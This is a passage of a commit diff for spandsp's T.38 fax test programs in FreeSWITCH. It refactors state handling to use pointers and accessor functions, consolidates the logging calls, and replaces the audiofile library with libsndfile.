+    log_rx_parameters(s, tag);
     return T30_ERR_OK;
 }
 /*- End of function --------------------------------------------------------*/
@@ -98,26 +100,14 @@
 static int phase_d_handler(t30_state_t *s, void *user_data, int result)
 {
     int i;
-    t30_stats_t t;
-    const char *u;
+    char tag[20];
 
     i = (int) (intptr_t) user_data;
+    snprintf(tag, sizeof(tag), "%c: Phase D:", i);
     printf("%c: Phase D handler on channel %c - (0x%X) %s\n", i, i, result, t30_frametype(result));
-    t30_get_transfer_statistics(s, &t);
-    printf("%c: Phase D: bit rate %d\n", i, t.bit_rate);
-    printf("%c: Phase D: ECM %s\n", i, (t.error_correcting_mode)  ?  "on"  :  "off");
-    printf("%c: Phase D: pages transferred %d\n", i, t.pages_transferred);
-    printf("%c: Phase D: image size %d x %d\n", i, t.width, t.length);
-    printf("%c: Phase D: image resolution %d x %d\n", i, t.x_resolution, t.y_resolution);
-    printf("%c: Phase D: bad rows %d\n", i, t.bad_rows);
-    printf("%c: Phase D: longest bad row run %d\n", i, t.longest_bad_row_run);
-    printf("%c: Phase D: coding method %s\n", i, t4_encoding_to_str(t.encoding));
-    printf("%c: Phase D: image size %d bytes\n", i, t.image_size);
-    if ((u = t30_get_tx_ident(s)))
-        printf("%c: Phase D: local ident '%s'\n", i, u);
-    if ((u = t30_get_rx_ident(s)))
-        printf("%c: Phase D: remote ident '%s'\n", i, u);
-    printf("%c: Phase D: bits per row - min %d, max %d\n", i, s->t4.min_row_bits, s->t4.max_row_bits);
+    log_transfer_statistics(s, tag);
+    log_tx_parameters(s, tag);
+    log_rx_parameters(s, tag);
     return T30_ERR_OK;
 }
 /*- End of function --------------------------------------------------------*/
@@ -126,25 +116,16 @@
 {
     int i;
     t30_stats_t t;
-    const char *u;
-    
+    char tag[20];
+
     i = (int) (intptr_t) user_data;
+    snprintf(tag, sizeof(tag), "%c: Phase E:", i);
     printf("%c: Phase E handler on channel %c - (%d) %s\n", i, i, result, t30_completion_code_to_str(result));
+    log_transfer_statistics(s, tag);
+    log_tx_parameters(s, tag);
+    log_rx_parameters(s, tag);
     t30_get_transfer_statistics(s, &t);
-    printf("%c: Phase E: bit rate %d\n", i, t.bit_rate);
-    printf("%c: Phase E: ECM %s\n", i, (t.error_correcting_mode)  ?  "on"  :  "off");
-    printf("%c: Phase E: pages transferred %d\n", i, t.pages_transferred);
-    printf("%c: Phase E: image size %d x %d\n", i, t.width, t.length);
-    printf("%c: Phase E: image resolution %d x %d\n", i, t.x_resolution, t.y_resolution);
-    printf("%c: Phase E: bad rows %d\n", i, t.bad_rows);
-    printf("%c: Phase E: longest bad row run %d\n", i, t.longest_bad_row_run);
-    printf("%c: Phase E: coding method %s\n", i, t4_encoding_to_str(t.encoding));
-    printf("%c: Phase E: image size %d bytes\n", i, t.image_size);
-    if ((u = t30_get_tx_ident(s)))
-        printf("%c: Phase E: local ident '%s'\n", i, u);
-    if ((u = t30_get_rx_ident(s)))
-        printf("%c: Phase E: remote ident '%s'\n", i, u);
-    succeeded[i - 'A'] = (result == T30_ERR_OK)  &&  (t.pages_transferred == 12);
+    succeeded[i - 'A'] = (result == T30_ERR_OK)  &&  (t.pages_tx == 12  ||  t.pages_rx == 12);
     //done[i - 'A'] = TRUE;
 }
 /*- End of function --------------------------------------------------------*/
@@ -229,6 +210,8 @@
     int supported_modems;
     int opt;
     t30_state_t *t30;
+    t38_core_state_t *t38_core;
+    logging_state_t *logging;
 
     t38_version = 1;
     without_pacing = FALSE;
@@ -302,22 +285,29 @@
         exit(2);
     }
 
-    if (t38_terminal_init(&t38_state_a, TRUE, tx_packet_handler_a, &t38_state_b) == NULL)
+    if ((t38_state_a = t38_terminal_init(NULL, TRUE, tx_packet_handler_a, t38_state_b)) == NULL)
     {
         fprintf(stderr, "Cannot start the T.38 channel\n");
         exit(2);
     }
-    t30 = t38_terminal_get_t30_state(&t38_state_a);
-    t38_set_t38_version(&t38_state_a.t38_fe.t38, t38_version);
-    t38_terminal_set_config(&t38_state_a, without_pacing);
-    t38_terminal_set_tep_mode(&t38_state_a, use_tep);
-    span_log_set_level(&t38_state_a.logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
-    span_log_set_tag(&t38_state_a.logging, "T.38-A");
-    span_log_set_level(&t38_state_a.t38_fe.t38.logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
-    span_log_set_tag(&t38_state_a.t38_fe.t38.logging, "T.38-A");
-    span_log_set_level(&t30->logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
-    span_log_set_tag(&t30->logging, "T.38-A");
+    t30 = t38_terminal_get_t30_state(t38_state_a);
+    t38_core = t38_terminal_get_t38_core_state(t38_state_a);
+    t38_set_t38_version(t38_core, t38_version);
+    t38_terminal_set_config(t38_state_a, without_pacing);
+    t38_terminal_set_tep_mode(t38_state_a, use_tep);
+    
+    logging = t38_terminal_get_logging_state(t38_state_a);
+    span_log_set_level(logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
+    span_log_set_tag(logging, "T.38-A");
 
+    logging = t38_core_get_logging_state(t38_core);
+    span_log_set_level(logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
+    span_log_set_tag(logging, "T.38-A");
+
+    logging = t30_get_logging_state(t30);
+    span_log_set_level(logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
+    span_log_set_tag(logging, "T.38-A");
+
     t30_set_supported_modems(t30, supported_modems);
     t30_set_tx_ident(t30, "11111111");
     t30_set_tx_nsf(t30, (const uint8_t *) "\x50\x00\x00\x00Spandsp\x00", 12);
@@ -329,22 +319,29 @@
     if (use_ecm)
         t30_set_supported_compressions(t30, T30_SUPPORT_T4_1D_COMPRESSION | T30_SUPPORT_T4_2D_COMPRESSION | T30_SUPPORT_T6_COMPRESSION);
 
-    if (t38_terminal_init(&t38_state_b, FALSE, tx_packet_handler_b, &t38_state_a) == NULL)
+    if ((t38_state_b = t38_terminal_init(NULL, FALSE, tx_packet_handler_b, t38_state_a)) == NULL)
     {
         fprintf(stderr, "Cannot start the T.38 channel\n");
         exit(2);
     }
-    t30 = t38_terminal_get_t30_state(&t38_state_b);
-    t38_set_t38_version(&t38_state_b.t38_fe.t38, t38_version);
-    t38_terminal_set_config(&t38_state_b, without_pacing);
-    t38_terminal_set_tep_mode(&t38_state_b, use_tep);
-    span_log_set_level(&t38_state_b.logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
-    span_log_set_tag(&t38_state_b.logging, "T.38-B");
-    span_log_set_level(&t38_state_b.t38_fe.t38.logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
-    span_log_set_tag(&t38_state_b.t38_fe.t38.logging, "T.38-B");
-    span_log_set_level(&t30->logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
-    span_log_set_tag(&t30->logging, "T.38-B");
+    t30 = t38_terminal_get_t30_state(t38_state_b);
+    t38_core = t38_terminal_get_t38_core_state(t38_state_b);
+    t38_set_t38_version(t38_core, t38_version);
+    t38_terminal_set_config(t38_state_b, without_pacing);
+    t38_terminal_set_tep_mode(t38_state_b, use_tep);
 
+    logging = t38_terminal_get_logging_state(t38_state_b);
+    span_log_set_level(logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
+    span_log_set_tag(logging, "T.38-B");
+
+    logging = t38_core_get_logging_state(t38_core);
+    span_log_set_level(logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
+    span_log_set_tag(logging, "T.38-B");
+
+    logging = t30_get_logging_state(t30);
+    span_log_set_level(logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
+    span_log_set_tag(logging, "T.38-B");
+
     t30_set_supported_modems(t30, supported_modems);
     t30_set_tx_ident(t30, "22222222");
     t30_set_tx_nsf(t30, (const uint8_t *) "\x50\x00\x00\x00Spandsp\x00", 12);
@@ -362,17 +359,27 @@
 #endif
     for (;;)
     {
-        span_log_bump_samples(&t38_state_a.logging, SAMPLES_PER_CHUNK);
-        span_log_bump_samples(&t38_state_a.t38_fe.t38.logging, SAMPLES_PER_CHUNK);
-        span_log_bump_samples(&t38_state_a.t30.logging, SAMPLES_PER_CHUNK);
-        span_log_bump_samples(&t38_state_b.logging, SAMPLES_PER_CHUNK);
-        span_log_bump_samples(&t38_state_b.t38_fe.t38.logging, SAMPLES_PER_CHUNK);
-        span_log_bump_samples(&t38_state_b.t30.logging, SAMPLES_PER_CHUNK);
+        logging = t38_terminal_get_logging_state(t38_state_a);
+        span_log_bump_samples(logging, SAMPLES_PER_CHUNK);
+        t38_core = t38_terminal_get_t38_core_state(t38_state_a);
+        logging = t38_core_get_logging_state(t38_core);
+        span_log_bump_samples(logging, SAMPLES_PER_CHUNK);
+        t30 = t38_terminal_get_t30_state(t38_state_a);
+        logging = t30_get_logging_state(t30);
+        span_log_bump_samples(logging, SAMPLES_PER_CHUNK);
+        logging = t38_terminal_get_logging_state(t38_state_b);
+        span_log_bump_samples(logging, SAMPLES_PER_CHUNK);
+        t38_core = t38_terminal_get_t38_core_state(t38_state_b);
+        logging = t38_core_get_logging_state(t38_core);
+        span_log_bump_samples(logging, SAMPLES_PER_CHUNK);
+        t30 = t38_terminal_get_t30_state(t38_state_b);
+        logging = t30_get_logging_state(t30);
+        span_log_bump_samples(logging, SAMPLES_PER_CHUNK);
 
-        done[0] = t38_terminal_send_timeout(&t38_state_a, SAMPLES_PER_CHUNK);
-        done[1] = t38_terminal_send_timeout(&t38_state_b, SAMPLES_PER_CHUNK);
+        done[0] = t38_terminal_send_timeout(t38_state_a, SAMPLES_PER_CHUNK);
+        done[1] = t38_terminal_send_timeout(t38_state_b, SAMPLES_PER_CHUNK);
 
-        when += 0.02;
+        when += (float) SAMPLES_PER_CHUNK/(float) SAMPLE_RATE;
 
         while ((msg_len = g1050_get(path_a_to_b, msg, 1024, when, &seq_no, &tx_when, &rx_when)) >= 0)
         {
@@ -380,7 +387,8 @@
             if (use_gui)
                 media_monitor_rx(seq_no, tx_when, rx_when);
 #endif
-            t38_core_rx_ifp_packet(&t38_state_b.t38_fe.t38, msg, msg_len, seq_no);
+            t38_core = t38_terminal_get_t38_core_state(t38_state_b);
+            t38_core_rx_ifp_packet(t38_core, msg, msg_len, seq_no);
         }
         while ((msg_len = g1050_get(path_b_to_a, msg, 1024, when, &seq_no, &tx_when, &rx_when)) >= 0)
         {
@@ -388,7 +396,8 @@
             if (use_gui)
                 media_monitor_rx(seq_no, tx_when, rx_when);
 #endif
-            t38_core_rx_ifp_packet(&t38_state_a.t38_fe.t38, msg, msg_len, seq_no);
+            t38_core = t38_terminal_get_t38_core_state(t38_state_a);
+            t38_core_rx_ifp_packet(t38_core, msg, msg_len, seq_no);
         }
         if (done[0]  &&  done[1])
             break;
@@ -397,8 +406,8 @@
             media_monitor_update_display();
 #endif
     }
-    t38_terminal_release(&t38_state_a);
-    t38_terminal_release(&t38_state_b);
+    t38_terminal_release(t38_state_a);
+    t38_terminal_release(t38_state_b);
     if (!succeeded[0]  ||  !succeeded[1])
     {
         printf("Tests failed\n");

Modified: freeswitch/branches/seven/libs/spandsp/tests/t38_terminal_to_gateway_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/t38_terminal_to_gateway_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/t38_terminal_to_gateway_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: t38_terminal_to_gateway_tests.c,v 1.59 2008/08/16 15:24:16 steveu Exp $
+ * $Id: t38_terminal_to_gateway_tests.c,v 1.65 2009/05/30 15:23:14 steveu Exp $
  */
 
 /*! \file */
@@ -34,6 +34,9 @@
     T.38 termination -> T.38 gateway -> FAX machine
 */
 
+/* Enable the following definition to enable direct probing into the FAX structures */
+//#define WITH_SPANDSP_INTERNALS
+
 #if defined(HAVE_CONFIG_H)
 #include <config.h>
 #endif
@@ -45,27 +48,25 @@
 #include <stdlib.h>
 #include <stdio.h>
 #include <fcntl.h>
-#include <unistd.h>
 #include <string.h>
 #include <assert.h>
 #include <errno.h>
-#include <sys/socket.h>
-#include <netinet/in.h>
-#include <netinet/tcp.h>
-#if !defined(__USE_MISC)
-#define __USE_MISC
+#include <sndfile.h>
+#if !defined(_WIN32)
+#include <unistd.h>
 #endif
-#include <arpa/inet.h>
-#include <sys/select.h>
-#include <sys/time.h>
-#include <audiofile.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 #include "spandsp-sim.h"
 
 #if defined(ENABLE_GUI)
 #include "media_monitor.h"
 #endif
+#include "fax_utils.h"
 
 #define SAMPLES_PER_CHUNK       160
 
@@ -73,9 +74,9 @@
 #define OUTPUT_FILE_NAME        "t38.tif"
 #define OUTPUT_FILE_NAME_WAVE   "t38_terminal_to_gateway.wav"
 
-t38_terminal_state_t t38_state_a;
-t38_gateway_state_t t38_state_b;
-fax_state_t fax_state_b;
+t38_terminal_state_t *t38_state_a;
+t38_gateway_state_t *t38_state_b;
+fax_state_t *fax_state_b;
 
 g1050_state_t *path_a_to_b;
 g1050_state_t *path_b_to_a;
@@ -90,9 +91,12 @@
 static int phase_b_handler(t30_state_t *s, void *user_data, int result)
 {
     int i;
-    
+    char tag[20];
+
     i = (int) (intptr_t) user_data;
+    snprintf(tag, sizeof(tag), "%c: Phase B:", i);
     printf("%c: Phase B handler on channel %c - (0x%X) %s\n", i, i, result, t30_frametype(result));
+    log_rx_parameters(s, tag);
     return T30_ERR_OK;
 }
 /*- End of function --------------------------------------------------------*/
@@ -100,26 +104,14 @@
 static int phase_d_handler(t30_state_t *s, void *user_data, int result)
 {
     int i;
-    t30_stats_t t;
-    const char *u;
+    char tag[20];
 
     i = (int) (intptr_t) user_data;
+    snprintf(tag, sizeof(tag), "%c: Phase D:", i);
     printf("%c: Phase D handler on channel %c - (0x%X) %s\n", i, i, result, t30_frametype(result));
-    t30_get_transfer_statistics(s, &t);
-    printf("%c: Phase D: bit rate %d\n", i, t.bit_rate);
-    printf("%c: Phase D: ECM %s\n", i, (t.error_correcting_mode)  ?  "on"  :  "off");
-    printf("%c: Phase D: pages transferred %d\n", i, t.pages_transferred);
-    printf("%c: Phase D: image size %d x %d\n", i, t.width, t.length);
-    printf("%c: Phase D: image resolution %d x %d\n", i, t.x_resolution, t.y_resolution);
-    printf("%c: Phase D: bad rows %d\n", i, t.bad_rows);
-    printf("%c: Phase D: longest bad row run %d\n", i, t.longest_bad_row_run);
-    printf("%c: Phase D: coding method %s\n", i, t4_encoding_to_str(t.encoding));
-    printf("%c: Phase D: image size %d bytes\n", i, t.image_size);
-    if ((u = t30_get_tx_ident(s)))
-        printf("%c: Phase D: local ident '%s'\n", i, u);
-    if ((u = t30_get_rx_ident(s)))
-        printf("%c: Phase D: remote ident '%s'\n", i, u);
-    printf("%c: Phase D: bits per row - min %d, max %d\n", i, s->t4.min_row_bits, s->t4.max_row_bits);
+    log_transfer_statistics(s, tag);
+    log_tx_parameters(s, tag);
+    log_rx_parameters(s, tag);
     return T30_ERR_OK;
 }
 /*- End of function --------------------------------------------------------*/
@@ -128,25 +120,16 @@
 {
     int i;
     t30_stats_t t;
-    const char *u;
+    char tag[20];
     
     i = (int) (intptr_t) user_data;
+    snprintf(tag, sizeof(tag), "%c: Phase E:", i);
     printf("%c: Phase E handler on channel %c - (%d) %s\n", i, i, result, t30_completion_code_to_str(result));
+    log_transfer_statistics(s, tag);
+    log_tx_parameters(s, tag);
+    log_rx_parameters(s, tag);
     t30_get_transfer_statistics(s, &t);
-    printf("%c: Phase E: bit rate %d\n", i, t.bit_rate);
-    printf("%c: Phase E: ECM %s\n", i, (t.error_correcting_mode)  ?  "on"  :  "off");
-    printf("%c: Phase E: pages transferred %d\n", i, t.pages_transferred);
-    printf("%c: Phase E: image size %d x %d\n", i, t.width, t.length);
-    printf("%c: Phase E: image resolution %d x %d\n", i, t.x_resolution, t.y_resolution);
-    printf("%c: Phase E: bad rows %d\n", i, t.bad_rows);
-    printf("%c: Phase E: longest bad row run %d\n", i, t.longest_bad_row_run);
-    printf("%c: Phase E: coding method %s\n", i, t4_encoding_to_str(t.encoding));
-    printf("%c: Phase E: image size %d bytes\n", i, t.image_size);
-    if ((u = t30_get_tx_ident(s)))
-        printf("%c: Phase E: local ident '%s'\n", i, u);
-    if ((u = t30_get_rx_ident(s)))
-        printf("%c: Phase E: remote ident '%s'\n", i, u);
-    succeeded[i - 'A'] = (result == T30_ERR_OK)  &&  (t.pages_transferred == 12);
+    succeeded[i - 'A'] = (result == T30_ERR_OK)  &&  (t.pages_tx == 12  ||  t.pages_rx == 12);
     done[i - 'A'] = TRUE;
 }
 /*- End of function --------------------------------------------------------*/
@@ -220,7 +203,7 @@
     uint8_t msg[1024];
     int log_audio;
     int outframes;
-    AFfilehandle wave_handle;
+    SNDFILE *wave_handle;
     int t38_version;
     int use_ecm;
     int use_tep;
@@ -237,6 +220,8 @@
     int supported_modems;
     int opt;
     t30_state_t *t30;
+    t38_core_state_t *t38_core;
+    logging_state_t *logging;
 
     log_audio = FALSE;
     t38_version = 1;
@@ -303,12 +288,12 @@
     if (use_ecm)
         printf("Using ECM\n");
 
-    wave_handle = AF_NULL_FILEHANDLE;
+    wave_handle = NULL;
     if (log_audio)
     {
-        if ((wave_handle = afOpenFile_telephony_write(OUTPUT_FILE_NAME_WAVE, 2)) == AF_NULL_FILEHANDLE)
+        if ((wave_handle = sf_open_telephony_write(OUTPUT_FILE_NAME_WAVE, 2)) == NULL)
         {
-            fprintf(stderr, "    Cannot create wave file '%s'\n", OUTPUT_FILE_NAME_WAVE);
+            fprintf(stderr, "    Cannot create audio file '%s'\n", OUTPUT_FILE_NAME_WAVE);
             exit(2);
         }
     }
@@ -325,20 +310,27 @@
         exit(2);
     }
 
-    if (t38_terminal_init(&t38_state_a, TRUE, tx_packet_handler_a, &t38_state_b) == NULL)
+    if ((t38_state_a = t38_terminal_init(NULL, TRUE, tx_packet_handler_a, &t38_state_b)) == NULL)
     {
         fprintf(stderr, "Cannot start the T.38 channel\n");
         exit(2);
     }
-    t30 = t38_terminal_get_t30_state(&t38_state_a);
-    t38_set_t38_version(&t38_state_a.t38_fe.t38, t38_version);
-    span_log_set_level(&t38_state_a.logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
-    span_log_set_tag(&t38_state_a.logging, "T.38-A");
-    span_log_set_level(&t38_state_a.t38_fe.t38.logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
-    span_log_set_tag(&t38_state_a.t38_fe.t38.logging, "T.38-A");
-    span_log_set_level(&t30->logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
-    span_log_set_tag(&t30->logging, "T.38-A");
+    t30 = t38_terminal_get_t30_state(t38_state_a);
+    t38_core = t38_terminal_get_t38_core_state(t38_state_a);
+    t38_set_t38_version(t38_core, t38_version);
 
+    logging = t38_terminal_get_logging_state(t38_state_a);
+    span_log_set_level(logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
+    span_log_set_tag(logging, "T.38-A");
+
+    logging = t38_core_get_logging_state(t38_core);
+    span_log_set_level(logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
+    span_log_set_tag(logging, "T.38-A");
+
+    logging = t30_get_logging_state(t30);
+    span_log_set_level(logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
+    span_log_set_tag(logging, "T.38-A");
+
     t30_set_supported_modems(t30, supported_modems);
     t30_set_tx_ident(t30, "11111111");
     t30_set_tx_file(t30, input_file_name, -1, -1);
@@ -349,28 +341,34 @@
     if (use_ecm)
         t30_set_supported_compressions(t30, T30_SUPPORT_T4_1D_COMPRESSION | T30_SUPPORT_T4_2D_COMPRESSION | T30_SUPPORT_T6_COMPRESSION);
 
-    if (t38_gateway_init(&t38_state_b, tx_packet_handler_b, &t38_state_a) == NULL)
+    if ((t38_state_b = t38_gateway_init(NULL, tx_packet_handler_b, &t38_state_a)) == NULL)
     {
         fprintf(stderr, "Cannot start the T.38 channel\n");
         exit(2);
     }
-    t38_gateway_set_transmit_on_idle(&t38_state_b, use_transmit_on_idle);
-    t38_set_t38_version(&t38_state_b.t38x.t38, t38_version);
-    t38_gateway_set_ecm_capability(&t38_state_b, use_ecm);
-    span_log_set_level(&t38_state_b.logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
-    span_log_set_tag(&t38_state_b.logging, "T.38-B");
-    span_log_set_level(&t38_state_b.t38x.t38.logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
-    span_log_set_tag(&t38_state_b.t38x.t38.logging, "T.38-B");
+    t38_core = t38_gateway_get_t38_core_state(t38_state_b);
+    t38_gateway_set_transmit_on_idle(t38_state_b, use_transmit_on_idle);
+    t38_set_t38_version(t38_core, t38_version);
+    t38_gateway_set_ecm_capability(t38_state_b, use_ecm);
+
+    logging = t38_gateway_get_logging_state(t38_state_b);
+    span_log_set_level(logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
+    span_log_set_tag(logging, "T.38-B");
+
+    logging = t38_core_get_logging_state(t38_core);
+    span_log_set_level(logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
+    span_log_set_tag(logging, "T.38-B");
+
     memset(t38_amp_b, 0, sizeof(t38_amp_b));
 
-    if (fax_init(&fax_state_b, FALSE) == NULL)
+    if ((fax_state_b = fax_init(NULL, FALSE)) == NULL)
     {
         fprintf(stderr, "Cannot start FAX\n");
         exit(2);
     }
-    t30 = fax_get_t30_state(&fax_state_b);
-    fax_set_transmit_on_idle(&fax_state_b, use_transmit_on_idle);
-    fax_set_tep_mode(&fax_state_b, use_tep);
+    t30 = fax_get_t30_state(fax_state_b);
+    fax_set_transmit_on_idle(fax_state_b, use_transmit_on_idle);
+    fax_set_tep_mode(fax_state_b, use_tep);
     t30_set_supported_modems(t30, supported_modems);
     t30_set_tx_ident(t30, "22222222");
     t30_set_tx_nsf(t30, (const uint8_t *) "\x50\x00\x00\x00Spandsp\x00", 12);
@@ -381,10 +379,15 @@
     t30_set_ecm_capability(t30, use_ecm);
     if (use_ecm)
         t30_set_supported_compressions(t30, T30_SUPPORT_T4_1D_COMPRESSION | T30_SUPPORT_T4_2D_COMPRESSION | T30_SUPPORT_T6_COMPRESSION);
-    span_log_set_level(&fax_state_b.logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
-    span_log_set_tag(&fax_state_b.logging, "FAX-B ");
-    span_log_set_level(&t30->logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
-    span_log_set_tag(&t30->logging, "FAX-B ");
+
+    logging = fax_get_logging_state(fax_state_b);
+    span_log_set_level(logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
+    span_log_set_tag(logging, "FAX-B ");
+
+    logging = t30_get_logging_state(t30);
+    span_log_set_level(logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
+    span_log_set_tag(logging, "FAX-B ");
+
     memset(t30_amp_b, 0, sizeof(t30_amp_b));
 
 #if defined(ENABLE_GUI)
@@ -393,18 +396,29 @@
 #endif
     for (;;)
     {
-        span_log_bump_samples(&t38_state_a.logging, SAMPLES_PER_CHUNK);
-        span_log_bump_samples(&t38_state_a.t38_fe.t38.logging, SAMPLES_PER_CHUNK);
-        span_log_bump_samples(&t38_state_a.t30.logging, SAMPLES_PER_CHUNK);
-        span_log_bump_samples(&t38_state_b.logging, SAMPLES_PER_CHUNK);
-        span_log_bump_samples(&t38_state_b.t38x.t38.logging, SAMPLES_PER_CHUNK);
-        span_log_bump_samples(&fax_state_b.logging, SAMPLES_PER_CHUNK);
-        span_log_bump_samples(&fax_state_b.t30.logging, SAMPLES_PER_CHUNK);
+        logging = t38_terminal_get_logging_state(t38_state_a);
+        span_log_bump_samples(logging, SAMPLES_PER_CHUNK);
+        t38_core = t38_terminal_get_t38_core_state(t38_state_a);
+        logging = t38_core_get_logging_state(t38_core);
+        span_log_bump_samples(logging, SAMPLES_PER_CHUNK);
+        t30 = t38_terminal_get_t30_state(t38_state_a);
+        logging = t30_get_logging_state(t30);
+        span_log_bump_samples(logging, SAMPLES_PER_CHUNK);
+        logging = t38_gateway_get_logging_state(t38_state_b);
+        span_log_bump_samples(logging, SAMPLES_PER_CHUNK);
+        t38_core = t38_gateway_get_t38_core_state(t38_state_b);
+        logging = t38_core_get_logging_state(t38_core);
+        span_log_bump_samples(logging, SAMPLES_PER_CHUNK);
+        logging = fax_get_logging_state(fax_state_b);
+        span_log_bump_samples(logging, SAMPLES_PER_CHUNK);
+        t30 = fax_get_t30_state(fax_state_b);
+        logging = t30_get_logging_state(t30);
+        span_log_bump_samples(logging, SAMPLES_PER_CHUNK);
         memset(out_amp, 0, sizeof(out_amp));
 
-        t38_terminal_send_timeout(&t38_state_a, SAMPLES_PER_CHUNK);
+        t38_terminal_send_timeout(t38_state_a, SAMPLES_PER_CHUNK);
 
-        t30_len_b = fax_tx(&fax_state_b, t30_amp_b, SAMPLES_PER_CHUNK);
+        t30_len_b = fax_tx(fax_state_b, t30_amp_b, SAMPLES_PER_CHUNK);
         if (!use_transmit_on_idle)
         {
             /* The receive side always expects a full block of samples, but the
@@ -426,10 +440,10 @@
             for (i = 0;  i < t30_len_b;  i++)
                 out_amp[2*i + 1] = t30_amp_b[i];
         }
-        if (t38_gateway_rx(&t38_state_b, t30_amp_b, t30_len_b))
+        if (t38_gateway_rx(t38_state_b, t30_amp_b, t30_len_b))
             break;
     
-        t38_len_b = t38_gateway_tx(&t38_state_b, t38_amp_b, SAMPLES_PER_CHUNK);
+        t38_len_b = t38_gateway_tx(t38_state_b, t38_amp_b, SAMPLES_PER_CHUNK);
         if (!use_transmit_on_idle)
         {
             if (t38_len_b < SAMPLES_PER_CHUNK)
@@ -443,10 +457,10 @@
             for (i = 0;  i < t38_len_b;  i++)
                 out_amp[2*i] = t38_amp_b[i];
         }
-        if (fax_rx(&fax_state_b, t38_amp_b, SAMPLES_PER_CHUNK))
+        if (fax_rx(fax_state_b, t38_amp_b, SAMPLES_PER_CHUNK))
             break;
 
-        when += 0.02;
+        when += (float) SAMPLES_PER_CHUNK/(float) SAMPLE_RATE;
 
         while ((msg_len = g1050_get(path_a_to_b, msg, 1024, when, &seq_no, &tx_when, &rx_when)) >= 0)
         {
@@ -454,7 +468,8 @@
             if (use_gui)
                 media_monitor_rx(seq_no, tx_when, rx_when);
 #endif
-            t38_core_rx_ifp_packet(&t38_state_b.t38x.t38, msg, msg_len, seq_no);
+            t38_core = t38_gateway_get_t38_core_state(t38_state_b);
+            t38_core_rx_ifp_packet(t38_core, msg, msg_len, seq_no);
         }
         while ((msg_len = g1050_get(path_b_to_a, msg, 1024, when, &seq_no, &tx_when, &rx_when)) >= 0)
         {
@@ -462,11 +477,12 @@
             if (use_gui)
                 media_monitor_rx(seq_no, tx_when, rx_when);
 #endif
-            t38_core_rx_ifp_packet(&t38_state_a.t38_fe.t38, msg, msg_len, seq_no);
+            t38_core = t38_terminal_get_t38_core_state(t38_state_a);
+            t38_core_rx_ifp_packet(t38_core, msg, msg_len, seq_no);
         }
         if (log_audio)
         {
-            outframes = afWriteFrames(wave_handle, AF_DEFAULT_TRACK, out_amp, SAMPLES_PER_CHUNK);
+            outframes = sf_writef_short(wave_handle, out_amp, SAMPLES_PER_CHUNK);
             if (outframes != SAMPLES_PER_CHUNK)
                 break;
         }
@@ -478,13 +494,13 @@
             media_monitor_update_display();
 #endif
     }
-    t38_terminal_release(&t38_state_a);
-    fax_release(&fax_state_b);
+    t38_terminal_release(t38_state_a);
+    fax_release(fax_state_b);
     if (log_audio)
     {
-        if (afCloseFile(wave_handle) != 0)
+        if (sf_close(wave_handle) != 0)
         {
-            fprintf(stderr, "    Cannot close wave file '%s'\n", OUTPUT_FILE_NAME_WAVE);
+            fprintf(stderr, "    Cannot close audio file '%s'\n", OUTPUT_FILE_NAME_WAVE);
             exit(2);
         }
     }

Modified: freeswitch/branches/seven/libs/spandsp/tests/t4_tests.c (14471 => 14472)


